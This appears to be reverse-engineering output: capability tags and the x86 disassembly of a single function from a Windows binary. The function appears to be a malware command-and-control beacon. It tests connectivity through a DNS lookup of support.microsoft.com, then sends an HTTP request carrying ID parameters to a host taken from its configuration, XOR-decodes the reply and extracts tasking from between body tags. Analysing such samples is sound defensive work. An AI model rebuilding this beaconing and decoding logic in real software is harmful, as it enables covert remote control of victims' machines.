Function at 0x402f40
Capabilities:
Encode data using xor
Resolve dns
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40c293
push eax
mov eax, 0x4c64
mov dword fs:[0], esp
call fcn.0040b660
push ebx
push esi
push edi
lea ecx, [esp + 0x5c4]
call fcn.00403e60
mov al, byte [esp + 0xf]
xor ebx, ebx
push ebx
lea ecx, [esp + 0x34]
mov dword [esp + 0x4c7c], ebx
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x34], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [esp + 0xf]
push ebx
mov byte [esp + 0x44], cl
lea ecx, [esp + 0x44]
mov byte [esp + 0x4c7c], 1
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov dl, byte [esp + 0xf]
push ebx
lea ecx, [esp + 0x54]
mov byte [esp + 0x4c7c], 2
mov byte [esp + 0x54], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [esp + 0xf]
push ebx
lea ecx, [esp + 0x64]
mov byte [esp + 0x4c7c], 3
mov byte [esp + 0x64], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [esp + 0xf]
push ebx
mov byte [esp + 0x7c], cl
push ebx
lea ecx, [esp + 0x80]
mov byte [esp + 0x4c80], 4
call fcn.00403d80
mov dword [esp + 0x80], ebx
mov dword [esp + 0x7c], eax
lea edx, [esp + 0xf]
lea ecx, [esp + 0x84]
push edx
mov byte [esp + 0x4c7c], 5
call fcn.00403d50
mov esi, 0x40d2d4
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c4]
push str.support.microsoft.com
rep stosd dword es:[edi], eax
mov byte [esp + 0x4c7c], 6
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403170
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x20]
mov byte [esp + 0x4c78], 0xc
call fcn.00405e00
lea ecx, [esp + 0x20]
call fcn.00405ee0
mov eax, dword [esp + 0x88]
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x8c]
mov byte [esp + 0x4c80], 0xb
call fcn.00403db0
mov edx, dword [eax]
lea eax, [esp + 0x14]
push edx
push eax
lea ecx, [esp + 0x90]
call fcn.00403dc0
mov ecx, dword [esp + 0x88]
push ecx
call sub.MFC42.DLL_operatordelete
mov edx, dword [esp + 0x80]
add esp, 4
lea eax, [esp + 0x14]
lea ecx, [esp + 0x78]
push edx
push eax
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], ebx
mov byte [esp + 0x4c80], 0xa
call fcn.00403db0
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push ecx
push edx
lea ecx, [esp + 0x84]
call fcn.00403dc0
mov eax, dword [esp + 0x7c]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x60]
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
push 1
mov byte [esp + 0x4c7c], 9
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x54]
mov byte [esp + 0x4c7c], 8
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x44]
mov byte [esp + 0x4c7c], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x34]
mov byte [esp + 0x4c7c], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x403544
push ebp
lea ecx, [esp + 0x5c8]
call fcn.00403f10
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x20]
push ecx
push edx
push 0x8003
lea eax, [esp + 0x704]
push 6
push eax
call fcn.004038b0
mov eax, dword [esp + 0x30]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
xor esi, esi
cmp eax, ebx
jbe 0x4031d6
lea edi, [esp + 0x98]
mov edx, dword [esp + 0x20]
xor ecx, ecx
mov cl, byte [esi + edx]
push ecx
push str._02x
push edi
call ebp
mov eax, dword [esp + 0x28]
add esp, 0xc
inc esi
add edi, 2
cmp esi, eax
jb 0x4031b5
mov edi, str.b62422340d2192060ff3713b877727a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x98]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
push ecx
call sub.MFC42.DLL_operatordelete
mov eax, dword [0x412684]
add esp, 4
mov edx, dword [eax + 0x439]
add eax, 0x335
push edx
push eax
push str.conn_to__s__d_s
push 0x4124b8
call fcn.00403a20
mov eax, dword [0x412684]
add esp, 0x10
mov ecx, dword [eax + 0x439]
push str.Mozilla_4.0__compatible___
push 1
push ebx
push ebx
add eax, 0x335
push ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00405510
test al, al
je 0x40342d
mov ecx, 0xa00
xor eax, eax
lea edi, [esp + 0x2474]
lea edx, [esp + 0x98]
rep stosd dword es:[edi], eax
mov eax, dword [0x412684]
push edx
add eax, 0xe
lea ecx, [esp + 0x1cc]
push eax
push str._index.html_id1_sid2_s
push ecx
call ebp
add esp, 0x10
lea ecx, [esp + 0x24]
push str.HTTPS
push str.type
call fcn.00405f50
push ebx
lea edx, [esp + 0x1cc]
push ebx
push edx
lea ecx, [esp + 0x30]
call fcn.00405930
test al, al
je 0x40341b
push str.req_s
push 0x4124b8
call fcn.00403a20
add esp, 8
xor ebp, ebp
lea eax, [esp + ebp + 0x2474]
push 0x400
push eax
lea ecx, [esp + 0x2c]
call fcn.00406df0
cmp eax, ebx
je 0x4032fb
add ebp, eax
lea ecx, [ebp + 0x400]
cmp ecx, 0x2800
jl 0x4032d1
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], ebx
call fcn.0040bb50
lea eax, [ebp + ebp*2]
mov byte [esp + 0x4c7c], 0xd
cdq
and edx, 3
add eax, edx
mov edi, eax
sar edi, 2
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x18]
lea ecx, [esp + 0x2478]
push eax
push esi
push ebp
push ecx
call fcn.0040bd60
add esp, 0x14
lea ecx, [esp + 0xbc]
mov dword [esp + 0xbc], 0x40d2d0
call fcn.0040ba30
push 2
push 0x411a78
lea ecx, [esp + 0xc4]
mov byte [esp + 0x4c84], 0xe
call fcn.0040ba60
xor edi, edi
cmp dword [esp + 0x14], ebx
jbe 0x4033a9
lea ecx, [esp + 0xbc]
call fcn.0040bae0
mov dl, byte [edi + esi]
xor dl, al
mov byte [edi + esi], dl
mov eax, dword [esp + 0x14]
inc edi
cmp edi, eax
jb 0x40338c
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._body_
push esi
call edi
push str.__body_
push esi
mov ebp, eax
call edi
mov edx, eax
mov edi, str._body_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [edx], bl
add ebp, ecx
push ebp
call fcn.004039c0
mov ecx, dword [0x412684]
lea edx, [esp + 0xac]
add ecx, 0xe
push edx
push ecx
push eax
call fcn.00403580
push esi
call sub.MFC42.DLL_operatordelete
add esp, 0x24
lea ecx, [esp + 0x18]
mov dword [esp + 0xbc], 0x40d2d0
mov byte [esp + 0x4c7c], 6
call fcn.0040bb80
jmp 0x40342d
push str.req_f
push 0x4124b8
call fcn.00403a20
add esp, 8
mov dword [esp + 0x24], 0x40d2d4
lea ecx, [esp + 0x24]
mov byte [esp + 0x4c7c], 0x14
call fcn.00405e00
lea ecx, [esp + 0x24]
call fcn.00405ee0
mov eax, dword [esp + 0x8c]
lea edx, [esp + 0x18]
push eax
mov byte [esp + 0x4c80], 0x13
mov ecx, dword [eax]
push ecx
push edx
lea ecx, [esp + 0x94]
call fcn.00403dc0
mov eax, dword [esp + 0x8c]
push eax
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x84]
add esp, 4
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x90], ebx
mov ecx, dword [eax]
push eax
push ecx
lea ecx, [esp + 0x9c]
push ecx
lea ecx, [esp + 0x88]
mov byte [esp + 0x4c88], 0x12
call fcn.00403dc0
mov edx, dword [esp + 0x80]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0x64]
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
push 1
mov byte [esp + 0x4c80], 0x11
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x58]
mov byte [esp + 0x4c80], 0x10
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x48]
mov byte [esp + 0x4c80], 0xf
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop ebp
mov eax, dword [esp + 0x34]
cmp eax, ebx
je 0x403538
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x40352f
cmp al, 0xff
je 0x40352f
dec al
mov byte [ecx], al
jmp 0x403538
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
lea ecx, [esp + 0x5c4]
mov dword [esp + 0x4c78], 0xffffffff
call fcn.00403f00
mov ecx, dword [esp + 0x4c70]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x4c70
ret 4